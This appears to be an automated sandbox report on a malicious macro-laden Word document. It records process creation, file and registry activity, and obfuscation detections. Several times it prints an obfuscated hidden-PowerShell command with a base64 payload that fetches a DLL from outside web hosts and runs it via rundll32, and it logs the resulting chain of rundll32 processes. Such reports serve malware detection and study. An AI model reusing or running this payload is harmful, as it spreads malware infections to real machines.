Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sfwveevpdqixuom\bsjtfkdrderxek.bnn',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vobicwh\otzfel.hzn',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Uxgydceommtwiki\qzhrxsieatmrnj.xlc',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bdzitbg\obtbak.jsi',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xewbyzlpihpnskgh\wwdzuofqhkcpmfa.gyu',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qakdocqxk\cjwfvfif.ylv',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hutifyziasbygiy\qhmiqrfpmiryum.ywy',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tsbimf\rxvqt.dyw',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zqkhe\wtjq.kha',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rimdqgeexmnm\pcwmnbkufem.jtj',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xoteg\llch.amx',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vaxphioewmusne\ukdxjhhssdymm.ubj',Control_RunDLL
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Widpnptibmnvlc\vizfdwjpjtiec.yqj',Control_RunDLL
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Xts_nmf\P4188qk\U95D.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Sfwveevpdqixuom\bsjtfkdrderxek.bnn',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vobicwh\otzfel.hzn',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Uxgydceommtwiki\qzhrxsieatmrnj.xlc',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bdzitbg\obtbak.jsi',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xewbyzlpihpnskgh\wwdzuofqhkcpmfa.gyu',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qakdocqxk\cjwfvfif.ylv',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hutifyziasbygiy\qhmiqrfpmiryum.ywy',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tsbimf\rxvqt.dyw',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Zqkhe\wtjq.kha',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Rimdqgeexmnm\pcwmnbkufem.jtj',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xoteg\llch.amx',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vaxphioewmusne\ukdxjhhssdymm.ubj',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Widpnptibmnvlc\vizfdwjpjtiec.yqj',Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: B:\cliprgn_src\Release\ClipRgn.pdb source: rundll32.exe, 00000007.00000002.2092170469.0000000010042000.00000002.00020000.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2087428444.00000000027C0000.00000002.00000001.sdmp
Source: info.doc Initial sample: OLE summary subject = Fantastic Granite Fish Music, Grocery & Books frictionless Avenue Plastic Cambridgeshire Alaska South Dakota Benin brand Clothing & Shoes

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: info.doc Stream path 'Macros/VBA/Ifll4vsaspsrsln6_' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module Ifll4vsaspsrsln6_ Name: Ifll4vsaspsrsln6_
Document contains an embedded VBA with many randomly named variables
Source: info.doc Stream path 'Macros/VBA/Ifll4vsaspsrsln6_' : High entropy of concatenated variable names
Obfuscated command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0A
PowerShell case anomaly found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQB0AC0ASQB0AGUAbQAgAHYAYQBSAGkAYQBCAEwARQA6ADMAdgBDACAAIAAoAFsAVAB5AHAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQB7ADQAfQAiACAALQBGACcAWQBTAHQAJwAsACcARQBtAC4ASQBvACcALAAnAEkAUgBFAGMAVABPACcALAAnAC4AZAAnACwAJwBSAHkAJwAsACcAUwAnACkAIAAgACkAOwAgACAAIABTAGUAVAAtAEkAVABFAG0AIAAgAFYAYQBSAGkAQQBCAGwARQA6ADUANAA5AGMAIAAgACgAIAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADEAfQB7ADAAfQB7ADIAfQB7ADMAfQAiACAALQBGACAAJwAuACcALAAnAHkAcwB0AEUAbQAnACwAJwBOAEUAVAAuAFMARQByAHYAaQBjAGUAUABPAGkAbgAnACwAJwBUAG0AQQBuAEEAZwBFAFIAJwAsACcAUwAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwArACcAdABsAHkAJwApACsAKAAnAEMAbwAnACsAJwBuACcAKQArACgAJwB0ACcAKwAnAGkAbgB1ACcAKQArACcAZQAnACkAOwAkAEEAOABoADIAcgB6AGIAPQAkAEYANgBfAEEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEwAOQA4AFAAOwAkAE0AMAAwAE8APQAoACcAQwAnACsAKAAnADgAMgAnACsAJwBaACcAKQApADsAIAAkADMAVgBDADoAOgAiAGMAcgBlAGEAYABUAGAARQBgAEQAYABpAFIAZQBjAFQAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAFQAeQBWACcAKwAnAFgAdAAnACsAJwBzAF8AbgAnACkAKwAoACcAbQBmAFQAeQBWAFAANAAnACsAJwAxACcAKQArACcAOAA4ACcAKwAoACcAcQBrACcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcA